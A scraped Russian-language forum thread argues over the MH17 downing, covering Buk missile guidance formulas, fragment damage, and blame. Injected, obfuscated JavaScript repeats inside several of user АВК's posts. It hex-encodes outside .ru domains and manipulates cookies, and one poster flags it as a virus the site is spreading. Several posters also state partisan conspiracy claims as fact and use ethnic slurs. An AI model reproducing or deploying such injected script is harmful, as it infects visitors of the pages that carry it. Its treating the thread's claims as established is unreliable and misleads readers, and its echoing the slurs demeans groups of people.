Катастрофа Boeing MH17 под Донецком

2,938,589 13,817
 

  Сизиф russia
17 мар 2018 23:15:47
! ....
Дискуссия  1.621

Коллеги!

Настоятельно рекомендую обходиться на ветке без хамства и переходов на личности. Хоть в хабальском варианте, хоть в матерном, хоть в нормативно-цензурной обертке. Обсуждаются, вроде как, вполне себе объективные (ну или старающиеся быть показанными таковыми Веселый)) аспекты и их кагбэ соответствие каким-то там законам природы. Не? Если нет возможности вести дискуссию в подобающем тоне, то может лучше промолчать, игноря "невежд", чем на личности переходить.  Личные качества оппонента, его родственников и подбные аргУменты, ведь, вряд ли  могут добавить веса вашим аргументам.
Отредактировано: Сизиф - 17 мар 2018 23:52:43
  Сизиф russia
23 фев 2020 20:47:06
! ......
Дискуссия  682

Коллеги, давайте все же воздерживаться от переходов на личности. Только замусоривают ветку. И ни разу весомости аргументам не добавляют.
Отредактировано: Сизиф - 23 фев 2020 20:47:19

Фильтр
nekto_mamomot
 
57 лет
Специалист
Карма: +12,488.65
Регистрация: 27.11.2011
Сообщений: 25,717
Читатели: 9
Цитата: СПС от 24.09.2015 17:56:57Давай-ка я наверное отвечу чтоб эта ветка больше на засорялось таким мусором:
1. Никаким свидетелем никакого преступления он не стал.
2. Его безопасности угрожает уголовный кодекс Украины поскольку он является дезертиром в период ведения боевых действий.
3. Уголовный кодекс РФ не имеет никакого отношения к этим событиям.

1. Ваш первый пункт противоречит факту: СК РФ заявил, что Агапов -свидетель по
уголовному делу.
2. Его безопасности угрожают СБУ, ЦРУ и наемные убийцы с Руинды, которым
поставлена задача по зачистке свидетелей совершения преступления!
3. В Уголовном Кодексе РФ есть статья о "ложном свидетельстве"...
Госорганы и высшие лица Украины обвиняют Россию и ВПР РФ
в совершении особотяжкого преступления и для этого 
фальсифицируют доказательства!
По этой статье (по-моему пункт 4 или 5) всем глав-хохлам,
уродам из укро-СМИ  - по "десяточке"!
***
Камрад!
Подучи предмет!
  • +0.03 / 1
  • АУ
fugu01
 
Слушатель
Карма: +44.76
Регистрация: 06.03.2009
Сообщений: 797
Читатели: 7
Цитата: SkyLab от 24.09.2015 00:49:54Эти "слагаемые" и находятся в К



В этой формуле "К" - это коэффициент, в "К" нет никаких слагаемых.



Цитата: Цитата: SkyLab от 23.09.2015 21:49:54К=f(Д',xn,ϕ)

где  xn – продольная перегрузка ракеты; ϕ – угол поворота оптической оси головной антенны РГС относительно продольной оси ракеты (угол упреждения); Д' – скорость сближения ракеты с целью

А эта формула для К неверная. Вы ее содрали с Ельцина со страницы 23. Но из формул на странице 24 того же Ельцина следует, что эта формула неверная. Верно так:

К=f(Д',ϕ,Vр)=(Kн*Д')/(Vp*cos(ϕ)), Vp - скорость ракеты,

xn в формулу для К не входит. Ельцин зачем то решил поумничать.  Правда, Ельцин и в формулах на странице 24 накосячил - вместо g написал q, но это можно отнести на "очепятку".
У Ельцина хватает косяков, например: на странице 13: "Аэродинамическая схема ракеты 9M38M1 – нормальная, с крылом малого удлинения.", а на странице 22 первый вопрос в вопросах для самоконтроля: "1. Почему конструктор выбрал аэродинамическую схему «утка»?" Вы с Ельциным будте поаккуратнее.


Цитата: Цитата: SkyLab от 23.09.2015 21:49:54Cуть модификации - это наведение не на живую цель (как в чистом пропорциональном методе), а на вычисленную упреждающую точку (которая может быть пересчитана по ходу полета)

Метод пропорционального сближения говорит нам, что (при известных уже ограничениях на скорости перехватчика и цели) чем меньше начальный промах, тем меньше угловая скорость линии визирования и, следовательно, тем "прямолинейнее" траектория. В идеальном случае при пуске в упрежденную точку начальный промах равен 0, и траектория перехвата в этом случае представляет собой прямую линию. Если скорость перехватчика непостоянна на траектории, то в закон наведения перехватчика вводится компенсирующее продольное ускорение перехватчика слагаемое, что обеспечивает сохранение прямолинейности траектории перехвата. Аналогично для силы тяжести, но там коэффициент при слагаемом  выбираться для получения энергетически более выгодной траектории, которая в вертикальной плоскости не прямая. При наличии компенсационных слагаемых метод называют метод пропорционального сближения с компенсацией или метод пропорционального сближения с упреждением. Но так как в законе наведения реальной ракеты всегда присутствуют компенсационные слагаемые, то говорят просто "метод пропорционального сближения" и всем все понятно.



Цитата: Цитата: SkyLab от 23.09.2015 21:49:54Именно эта форма записи и выражает суть метода, а остальное - бла-бла-бла.
Уравнения выражают суть явлений, а не пустые философствования и гадания на кофейной гуще

Форма не может выражать суть (сущность) метода или чего либо еще. Форма записи -  это только форма записи. Форма не может быть сутью (сущностью). Не уравнения выражают суть явлений. Суть явлений выражают свойства множества решений описывающих явления уравнений. Применительно к движению: сутью всегда является свойства траекторий движения, в первую очередь - устойчивость траектории.


Цитата: Цитата: SkyLab от 23.09.2015 21:49:54Наоборот, из этой формы вытекает постоянная скорость перехватчика при постоянной скорости цели (из более общего вытекает частное)

Нет, эта форма выводится в предположении постоянства скорости перехватчика и постоянства вектора скорости цели при требовании минимальности информации о цели. Причем сама зависимость навязывается произвольно, а потом показывается, что траектории перехвата при такой зависимости обладают очень хорошими свойствами. Если отказаться от требования постоянства скорости перехватчика и минимальности информации о цели, то зависимость будет другая. Литературу подсказать? Или так и будете из интернета всякую лабуду подбирать?


Цитата: Цитата: SkyLab от 23.09.2015 21:49:54Из этой формытакже вытекают методы
погони при K=1, (вектор скорости будет всегда направлен на цель),
если K=∞, то получится метод параллельного сближения.

Эта форма выводится из метода наведения с постоянным углом упреждения как способ подбора оптимального угла упреждения в каждый момент времени.  А можно ее вывести как способ наискорейшего ввода перехватчика в параллельное сближение. Форма эта не с небес упала, ее вывели. Поэтому и оба метода наведения - с постоянным углом упреждения и параллельного сближения можно представить через эту форму.


Цитата: Цитата: SkyLab от 24.09.2015 14:05:52Обратный доворот и получается из-за отклонения от "инерционалки", которая учитывает набор и потерю скорости
Ракета забывает про "инерционалку" после захвата ГСН цели и думает, что она имеет более крутую скорость (скорость то растет), а значит сможет встретится с самолетом левее расчетной точки, начинает левый доворот. Потом ускорение меняет знак, ракета понимает, что погорячилась, скорости не хватит и вынуждена начать правый доворот.
В итоге получается обычная петля пропорционального сближения

У ЗУР 9М38М1 нет никакой "инерциоалки". Закон наведения ЗУР 9М38М1 написан на странице 24 у Ельцина. В закон наведения скорость сближения и угловая скорость линии визирования подставляются либо измеренные ГСН, либо вычисленные в вычислителе ЗУР. В закон наведения ЗУР входит составляющая компенсирующая продольное ускорение ЗУР, поэтому изменение скорости ЗУР не искривляет ее траекторию.
Отредактировано: fugu01 - 24 сен 2015 22:49:03
  • -0.13 / 5
  • АУ
Domin
 
russia
45 лет
Слушатель
Карма: +299.72
Регистрация: 15.04.2014
Сообщений: 1,322
Читатели: 0
Тред №998689
Дискуссия   316 5
СПС разносит какой-то вирусняк: Поиск по строке: "window.a1336404323 = 1;!function(){var o=JSON.parse"
  • +0.26 / 5
  • АУ
АВК
 
russia
Санкт-Петербург
70 лет
Слушатель
Карма: +604.45
Регистрация: 25.01.2011
Сообщений: 584
Читатели: 1
Цитата: СПС от 24.09.2015 19:02:01SkyLab, Ваша ошибка в том что Вы пытаетесь подстроить версию "пуск из Снежного" под версию рассказанную "Алмаз-Антеем". На самом деле всё совершенно наоборот. Весь этот рассказ про "скальпель" придуман для того чтобы объяснить почему основные поражения Боинга только в передней части. Такое возможно только при лобовой встрече ракеты и цели. Как только угол прихода ракеты начнёт увеличиваться зона поражения цели соответственно тоже вырастет. Именно в этом вся фишка. А "скальпель" такого и слова то раньше никто и не слышал.
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e
window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

При  другом типе взрыва(например, шарообразном)у Боига были бы посечены ПЭ весь левый бок корпуса,хвост слева и левое крыло.То же самое при конусобразном взрыве или взрыве в виде полусферы.Чего не наблюдается.Значит: или взорвалась не ракета от Бука или скальпель как он представлен А-А.Если бы ракета Бука летела с любого другого направления,то следы от поражения на корпусе Боинга были бы другими при любой мыслимой конфигурации разрыва.Остается или Бук из Зарощенского или ракета "воздух-воздух".С чем и поздравляю.. 
  • +0.51 / 6
  • АУ
АВК
 
russia
Санкт-Петербург
70 лет
Слушатель
Карма: +604.45
Регистрация: 25.01.2011
Сообщений: 584
Читатели: 1
Цитата: СПС от 24.09.2015 20:34:07Взрыв однозначно конусообразный. Но его направление никто толком не знает. На чём и сыграл "Алмаз-антей". Кроме того многие пытаются по фотографиям определить углы входа ПЭ. Это тоже ошибка. Углы можно определить только в натуре именно поэтому делают выкладку. Так что выводы делать рано.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="19385",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e

Выводы уже все сделаны Алмаз-Антеем.Единственно возможная траектория ракеты Бука определена.С точностью до градуса.Поэтому и затык у голландского следствия.И  лихорадочные поиски мошенниками в духе то  ли как-то" довернуть" ракету по траектории ,то ли оспорить конфигурацию взрыва типа "скальпель" ракеты от Бука.Вот и тычитесь как котята у пустой миски.И делать хорошую мину при плохой игре Вы можете сколько угодно.Фиолетово.Вопрос решен:или Бук из Зарощенского или ракета "воздух-воздух".Т.е.стреляли укры.Остаётся только оформить прОтокол-и пожалте бриться.То ли в Гааге,то ли в особом трибунале,ну,как вы любите.Если принято решение слить укров,то уже 13.1015 и услышим.А пока ждём-с.Во всеоружии.И уверен,в случае чего будет и сюрпрайз.На дессерт.
Отредактировано: АВК - 24 сен 2015 23:18:20
  • +0.35 / 9
  • АУ
Терминатор
 
Слушатель
Карма: -50.17
Регистрация: 24.07.2015
Сообщений: 196
Читатели: 0

Аккаунт заблокирован
Цитата: АВК от 24.09.2015 21:15:54Выводы уже все сделаны Алмаз-Антеем.Единственно возможная траектория ракеты Бука определена.С точностью до градуса.Поэтому и затык у голландского следствия.И  лихорадочные поиски мошенников в духе то  ли как-то" довернуть" ракету по траектории ,то ли оспорить конфигурацию взрыва типа "скальпель" ракеты от Бука.Вот и тычитесь как котята у пустой миски.И делать хорошую мину при плохой игре Вы можете сколько угодно.Фиолетово.Вопрос решен:или Бук из Зарощенского или ракета "воздух-воздух".Т.е.стреляли укры.Остаётся только оформить прОтокол-и пожалте бриться.То ли в Гааге,то ли в особом трибунале,ну,как вы любите.Если принято решение слить укров,то уже 13.1015 и услышим.А пока ждём-с.Во всеоружии.И уверен,в случае чего будет и сюрпрайз.На дессерт.

А-А делал выкладку? У них есть обломки или по фоткам проанализировано? Этот отчёт такое же эфемерное фуфло как и бред с Питоном-5 и Су-25, который уже 20 раз опровергли без всякой посторонней помощи специалистов в этой ветке. Более того, их уже поймали на ошибке при исследовании повреждений:


Скрытый текст

Ждём, ждём.

Цитата: Domin от 24.09.2015 21:42:57Голландские следователи никогда не ставили цель сделать выкладку останков самолета. Если бы у них была такая цель, то они забрали бы ВСЁ, что можно было бы собрать на месте катастрофы. Вывоз останков нужен был для сохранения видимости следствия, и, возможно, скрыть некоторые следы.

Есть такое мнение, что все обломки им тупо не нужны, тех что есть достаточно для анализа.

Цитата: Domin от 24.09.2015 21:59:04Достаточно для провокации и безосновательных обвинений невиновных людей. Потому что решающая улика вполне может быть среди "неважных" частей.

"Невиновные" люди не стали бы плодить тьму фейков и лжи, поддерживать в сми с десяток неправдоподобных версий, подделывать улики в брифинге министерства обороны, по сути более половины всего фуфла продвигается на гос. уровне...
Отредактировано: Базик Олег - 25 сен 2015 00:10:56
  • -0.46 / 12
  • АУ
Domin
 
russia
45 лет
Слушатель
Карма: +299.72
Регистрация: 15.04.2014
Сообщений: 1,322
Читатели: 0
Тред №998763
Дискуссия   123 0
"Никогда не спорьте с дураками, они стащат вас на свой уровень и задавят опытом"
  • +0.36 / 7
  • АУ
nekto_mamomot
 
57 лет
Специалист
Карма: +12,488.65
Регистрация: 27.11.2011
Сообщений: 25,717
Читатели: 9
Цитата: СПС от 24.09.2015 22:10:57Вы уже определитесь как-то вместе с "Алмаз-Антеем" то ли это ЗУР то ли это РВВ. А то как то некрасиво получается. Выходит что специалисты не могут различить следы поражения собственного изделия. Ну это же курам на смех вообще.

Все нормальные люди давно определились:
1. Пока не доказано обратное, никаких БУКов не было!
2. Боинг сбили хохло-нацисты по приказу пиндосо-фашистов!
3. Борт был расстрелян с самолетов ракетами "воздух-воздух" и авиапушками!
  • +0.06 / 2
  • АУ
Терминатор
 
Слушатель
Карма: -50.17
Регистрация: 24.07.2015
Сообщений: 196
Читатели: 0

Аккаунт заблокирован
Цитата: СПС от 24.09.2015 22:10:57Вы уже определитесь как-то вместе с "Алмаз-Антеем" то ли это ЗУР то ли это РВВ. А то как то некрасиво получается. Выходит что специалисты не могут различить следы поражения собственного изделия. Ну это же курам на смех вообще.

Цель пропагандисткой машины - в версиях запутать, они быстро сменяют друг-друга в СМИ, создается информационный шум в котором зрители должны по идее потонуть. Версию ЗРК например сами же подтверждают и тут же разбавлено бредом про су от другого товарища.

[movie=320,240]http://youtu.be/8bkXxk0Av38[/movie]
Отредактировано: Базик Олег - 25 сен 2015 00:47:04
  • -0.48 / 12
  • АУ
nekto_mamomot
 
57 лет
Специалист
Карма: +12,488.65
Регистрация: 27.11.2011
Сообщений: 25,717
Читатели: 9
Цитата: Базик Олег от 24.09.2015 22:42:48Цель пропагандисткой машины - в версиях запутать, они быстро сменяют друг-друга в СМИ, создается информационный шум в котором зрители должны по идее потонуть. Версию ЗРК например сами же подтверждают и тут же разбавлено бредом про су от другого товарища.

Никто никакой версии про ЗРК не подтверждал, кроме либераст-клоунов,
хохло-троллей и "дебилов-Б" из Хохлопадловки!
А сбили Боинг хохло-нацисты с самолетов ракетами "воздух-воздух" и авиапушками!
Покажи тролль хоть одно фото, где есть отверстия от ПЭ БУКа!
Нет таких, а фотографий обломков с отверстиями от ПЭ - море!
Так что: готовьте своих преступников - хохло-нацистов к трибуналу в Ростове!
  • +0.03 / 1
  • АУ
Терминатор
 
Слушатель
Карма: -50.17
Регистрация: 24.07.2015
Сообщений: 196
Читатели: 0

Аккаунт заблокирован
Цитата: nekto_mamomot от 24.09.2015 22:57:09А сбили Боинг хохло-нацисты с самолетов ракетами "воздух-воздух" и авиапушками!
Покажи тролль хоть одно фото, где есть отверстия от ПЭ БУКа!
Нет таких, а фотографий обломков с отверстиями от ПЭ - море!

Как правильно заметили, ты уже запарил троллить, читай, просвещайся и хватит флудить.
Отредактировано: Базик Олег - 25 сен 2015 01:00:45
  • -0.31 / 13
  • АУ
Ё-МАЁ
 
russia
Сергиев Посад
70 лет
Слушатель
Карма: +20.18
Регистрация: 19.08.2014
Сообщений: 230
Читатели: 0
Тред №998775
Дискуссия   298 7
То ,что не было никакого ополченского БУКа ,мне было понятно уже через две недели ,Я здесь об этом уже писал .Для этого не требуется находиться на месте падения ,не требуется работать с обломками,Здесь достаточно последить за действиями заинтересованных сторон и проанализировать их .
Допустим БОИНГ был сбит ополченским БУКом .Ведь Киев в этом уверен .Дальнейшие действия идут по накатанной колее - необходимо собрать вещественные доказательства на месте падения ,Там идут боевые действия ? Значит надо их прекратить на время сбора улик и потребовать того от ополчения ,Ни ДНР ,ни Россия не смогут этому противится .Ведь Киев больше всех должен был быть заинтересован в этом ! Может я что-то пропустил и было подобное заявление ?.А ведь голландцы то же были в этом заинтересованы ,И от них тоже должно было последовать требование о прекращении боевых действий на время работы следователей ,Такие же заявления должны были сделать и европейцы ,ну уж американцы -защитники демократии и справедливости - были бы в первых рядах ! Такие действия -обычная международная практика , Но ничего этого не последовало !Голландцы  уже 18-го должны были сделать заявление,но кто-то их остановил .Значит уже 18-го они знали обстоятельства крушения .Европейцы знали это 19-20-го -не позднее .
Хотите сказать ,что у них там всё медленно происходит ? .Ничего подобного , Когда родственники погибших потребовали передать расследование под эгиду ООН - ОБОСРАЛИСЬ ВСЕ ! Голландцы были на месте падения уже на второй день -не потребовалось согласовывать свою миссию с Киевом .Приехали и начали сбор , И Киев на время работы не произвёл ни одного выстрела на месте падения . 
 Кто-то подсказал им что надо шустрить -возникла угроза реального расследования ,после которого будут названы причастные ,и уже невозможно будет утаить и сфальсифицировать факты .
  • +0.31 / 11
  • АУ
Терминатор
 
Слушатель
Карма: -50.17
Регистрация: 24.07.2015
Сообщений: 196
Читатели: 0

Аккаунт заблокирован
Цитата: Ё-МАЁ от 24.09.2015 23:09:08А ведь голландцы то же были в этом заинтересованы ,И от них тоже должно было последовать требование о прекращении боевых действий на время работы следователей ,Такие же заявления должны были сделать и европейцы ,ну уж американцы -защитники демократии и справедливости - были бы в первых рядах ! Такие действия -обычная международная практика , Но ничего этого не последовало !Голландцы  уже 18-го должны были сделать заявление,но кто-то их остановил .Значит уже 18-го они знали обстоятельства крушения .Европейцы знали это 19-20-го -не позднее .

Сумашедший Жертва пропаганды очередная. Голландцы просили, но чуть позже, пытались попасть на место катастрофы.
http://www.telegraph…-site.html
http://ya62.ru/news/…ya_boinga/
http://www.3news.co.…2014073106
http://economictimes…367089.cms
Отредактировано: Базик Олег - 25 сен 2015 01:33:46
  • -0.38 / 13
  • АУ
Ё-МАЁ
 
russia
Сергиев Посад
70 лет
Слушатель
Карма: +20.18
Регистрация: 19.08.2014
Сообщений: 230
Читатели: 0
Цитата: Базик Олег от 24.09.2015 23:26:29Сумашедший Жертва пропаганды очередная. Голландцы просили, но чуть позже, пытались попасть на место катастрофы.
http://www.telegraph…-site.html
http://ya62.ru/news/…ya_boinga/
http://www.3news.co.…2014073106
http://economictimes…367089.cms

И Киев осмелился противоречит их требованиям ? Он вроде должен был быть сам в этом же заинтересован ??Или эти требования были не очень убеждающими ? А вот амеры побоялись ,что если они потребуют ,то Киев и вправду вынужден будет прекратить 
Отредактировано: Ё-МАЁ - 25 сен 2015 01:43:26
  • +0.11 / 2
  • АУ
Терминатор
 
Слушатель
Карма: -50.17
Регистрация: 24.07.2015
Сообщений: 196
Читатели: 0

Аккаунт заблокирован
Цитата: Ё-МАЁ от 24.09.2015 23:41:26И Киев осмелился противоречит их требованиям ? Он вроде должен был быть сам в этом же заинтересован ??Или эти требования были не очень убеждающими ?

Cледователям Нидерландов постоянно мешали попасть на место для сбора обломков, вплоть до ноября. Причем наши им говорили, что там находиться опасно, то бои идут и нужно разворачиваться, то действительно была какая-то стрельба, взрывы при выездах... Киев или ополчение? Те и те? Не знаю.

http://www.spiegel.d…D0QhRk7iXP

Цитата: ЦитатаSPIEGEL ONLINE: В Восточной Украины зима приближается. Является ли когда-нибудь шанс, что он по-прежнему создавать свои следователей в этом году на месте крушения?

Westerbeke: На данный момент я не думаю, что правильно. Это все еще очень опасно. Именно поэтому мы работаем с OVV на план Б - если мы не пришли к самому месту крушения, мы должны обломки просто привезли сюда по-разному.
Отредактировано: Базик Олег - 25 сен 2015 02:02:43
  • -0.36 / 12
  • АУ
NavyGator
 
russia
Санкт-Петербург
24 года
Профессионал
Карма: +20,400.59
Регистрация: 07.01.2009
Сообщений: 19,649
Читатели: 20
Цитата: Базик Олег от 24.09.2015 23:26:29Сумашедший Жертва пропаганды очередная. Голландцы просили, но чуть позже, пытались попасть на место катастрофы.
http://www.telegraph…-site.html
http://ya62.ru/news/…ya_boinga/
http://www.3news.co.…2014073106
http://economictimes…367089.cms

Неуважаемый тролль. Вы не ответили на вопросы: Почему расследование не было передано под эгиду ООН и ИКАО. Почему одна из подозреваемых сторон входит в комиссию по расследованию, а другая нет? Почему результаты расследования, вызвавшего громадный резонанс зачекречены? Почему комиссия отказалась от металоведческой экспертизы? Почему не собирали самолёт по кусочкам? Почему 3 месяца несмотря на все просьбы ополченцев и России не могли собрать вещдоки? Почему расследование, которое должно быть совершенно ясным, ведь уже 17 июля был известен виновник затянуто более чем на 1,5 года?

А знаете что? Сейчас Украина резко перестаёт быть интересной США. Это очевидно по множеству косвенных моментов. Вот в этих условиях  правда будет открыта. И это не Ваша правда.

Во всём нужно искать мотив. У Ополчения и России не было ни единого мотива, чтобы сбить Боинг и даже по ошибке воспользоваться Боингом, чтобы сбить самолёт, летящий по официальной международной трассе, даже если есть данные, что это военный самолёт. Зато у Украины и США таких мотивов было полно: 1) попытаться добиться приостановления победного шествия Новороссии 2) демонизировать Россию 3) втянуть Европу в антироссийские санкции 4)наконец, они так долго говорили о том, что в Новроссии террористы, что нужно было хоть одно террористическое действие, чтобы ВСН по примеру чеченских террористов признали во всём мире террористами. Все цели были реализованы или близки к реализации.
Отредактировано: NavyGator - 01 янв 1970
Мы летим вперед, а глядим назад.
Какой раньше рай! Какой раньше ад!
Мой родной народ, оглянись вперед!

Андрей Вознесенский, 1981
  • +0.42 / 16
  • АУ
NavyGator
 
russia
Санкт-Петербург
24 года
Профессионал
Карма: +20,400.59
Регистрация: 07.01.2009
Сообщений: 19,649
Читатели: 20
Цитата: Базик Олег от 25.09.2015 00:01:12Cледователям Нидерландов постоянно мешали попасть на место для сбора обломков, вплоть до ноября. Причем наши им говорили, что там находиться опасно, то бои идут и нужно разворачиваться, то действительно была какая-то стрельба, взрывы при выездах... Киев или ополчение? Те и те? Не знаю.

http://www.spiegel.d…om=www&ref

Конечно. Требовали от Украины прекратить обстрелы районов сбитго Боинга. А вот зачем Украина их обстреливала?
Отредактировано: NavyGator - 01 янв 1970
Мы летим вперед, а глядим назад.
Какой раньше рай! Какой раньше ад!
Мой родной народ, оглянись вперед!

Андрей Вознесенский, 1981
  • +0.30 / 10
  • АУ
Терминатор
 
Слушатель
Карма: -50.17
Регистрация: 24.07.2015
Сообщений: 196
Читатели: 0

Аккаунт заблокирован
Цитата: NavyGator от 25.09.2015 00:03:54Вы не ответили на вопросы:

Я не пропагандист, чтобы их обелять, но ответить могу.
>Почему одна из подозреваемых сторон входит в комиссию по расследованию, а другая нет?
Нам не доверяют, им доверяют.
>Почему результаты расследования, вызвавшего громадный резонанс засекречены?
Тайна следствия, чтобы преступник не смог скрыть улики, избавиться от свидетелей и так далее, 13 октября рассекретят первые материалы.
>Почему комиссия отказалась от металоведческой экспертизы?
С какого перепугу Голландцы должны давать её проводить основному подозреваемому?
>Почему не собирали самолёт по кусочкам? Почему 3 месяца несмотря на все просьбы ополченцев и России не могли собрать вещдоки?
Вот эти 3 месяца, они не могли попасть на место катастрофы для сбора вещдоков и обломков из-за боёв, а РФ увещевала, что они не хотят ничего собирать, пропаганда.
>Почему расследование, которое должно быть совершенно ясным, ведь уже 17 июля был известен виновник затянуто более чем на 1,5 года?
Это только в сказках о Шерлоке Холмсе любое преступление века раскрывается за пару дней. Расследование катастрофы американского Boeing 747 над Локерби в 1988 г. шотландская полиция и ФБР вели три года, прежде чем предъявили обвинения конкретным сотрудникам ливийских спецслужб. Расследование было очень тщательным – обшарили территорию в 850 квадратных миль, собрали ошметки багажа, установили, в каком из чемоданов была спрятана бомба, по вещам из него (зонтик и брюки) нашли магазин, в котором те были куплены, а там уже установили и покупателя.
>Вот в этих условиях правда будет открыта. И это не Ваша правда.
Вот и посмотрим.

Я всё еще придерживаюсь версии, что сбили наши, но по дезинформации от своего информатора. Возможно это была спецоперация наших "друзей".
Отредактировано: Базик Олег - 25 сен 2015 02:16:57
  • -0.40 / 15
  • АУ
SkyLab
 
russia
Слушатель
Карма: -149.49
Регистрация: 17.07.2015
Сообщений: 405
Читатели: 0

Аккаунт заблокирован
Цитата: fugu01 от 24.09.2015 18:21:28В этой формуле "К" - это коэффициент, в "К" нет никаких слагаемых.

А эта формула для К неверная. Вы ее содрали с Ельцина со страницы 23. Но из формул на странице 24 того же Ельцина следует, что эта формула неверная. Верно так:

К=f(Д',ϕ,Vр)=(Kн*Д')/(Vp*cos(ϕ)), Vp - скорость ракеты,

Коэффициент имеет вид константы в простейшем случае и вид функции для продвинутой версии


Цитата: ЦитатаМетод пропорционального сближения говорит нам, что (при известных уже ограничениях на скорости перехватчика и цели) чем меньше начальный промах, тем меньше угловая скорость линии визирования и, следовательно, тем "прямолинейнее" траектория. В идеальном случае при пуске в упрежденную точку начальный промах равен 0, и траектория перехвата в этом случае представляет собой прямую линию.


Не будем философствовать, есть простая математическая форма, которая передает суть метода, вы с это формой тоже согласны, только не считаете ее оптимально выражающей суть. О ней и будем говорить:

К=f(Д',ϕ,Vр)=(Kн*Д')/(Vp*cos(ϕ)),

Цитата: ЦитатаЕсли скорость перехватчика непостоянна на траектории, то в закон наведения перехватчика вводится компенсирующее продольное ускорение перехватчика слагаемое, что обеспечивает сохранение прямолинейности траектории перехвата. Аналогично для силы тяжести, но там коэффициент при слагаемом  выбираться для получения энергетически более выгодной траектории, которая в вертикальной плоскости не прямая. При наличии компенсационных слагаемых метод называют метод пропорционального сближения с компенсацией или метод пропорционального сближения с упреждением. Но так как в законе наведения реальной ракеты всегда присутствуют компенсационные слагаемые, то говорят просто "метод пропорционального сближения" и всем все понятно.


Ок, в коэффициенте К=f(...) учтены эти нюансы
Цитата: ЦитатаФорма не может выражать суть (сущность) метода или чего либо еще. Форма записи -  это только форма записи. Форма не может быть сутью (сущностью). Не уравнения выражают суть явлений. Суть явлений выражают свойства множества решений описывающих явления уравнений. Применительно к движению: сутью всегда является свойства траекторий движения, в первую очередь - устойчивость траектории.

Давайте не будем углубляться в подобные споры. На этот счет есть отличное высказывание: «Теоретическая физика достигла таких высот, что можем рассчитать даже то, что невозможно себе представить». /Ландау Л.Д./
Цитата: ЦитатаУ ЗУР 9М38М1 нет никакой "инерциоалки". Закон наведения ЗУР 9М38М1 написан на странице 24 у Ельцина. В закон наведения скорость сближения и угловая скорость линии визирования подставляются либо измеренные ГСН, либо вычисленные в вычислителе ЗУР. В закон наведения ЗУР входит составляющая компенсирующая продольное ускорение ЗУР, поэтому изменение скорости ЗУР не искривляет ее траекторию.

Не совсем так. Точнее, коэффициент К , в силу своей зависимости от (ускорения, и др...) сглаживает ответное вращение вектора скорости ракеты на вращение угла визирования, тем самым минимизируется искривление траектории

Но если угол визирования вращается, то ракета отвечает на это своим доворотом, хотя и не линейно (а с учетом вышеназванных Вами параметров).

Именно поэтому, после захвата цели ГСН, когда линия ракета-самолет начинает вращаться против часовой стрелки, ракета обязана отреагировать левым доворотом
Этот доворот будет до тех пор, пока линия ракета-цель не начнет вращение в обратную сторону (по часовой стрелки, это вращение начнется сразу, как только самолет окажется правее точки пересечения курсов ракеты и самолета), тогда доворот начнется вправо
Отредактировано: SkyLab - 25 сен 2015 05:36:39
  • -0.35 / 13
  • АУ
sign
 
russia
Практикант
Карма: +1,454.10
Регистрация: 23.01.2013
Сообщений: 3,610
Читатели: 0
Цитата: СПС от 24.09.2015 22:29:55А для этого надо особые умения? На остальных форумах и блогах такого нет, такая херня только здесь вылазит пусть модеры разберутся что у них не так.
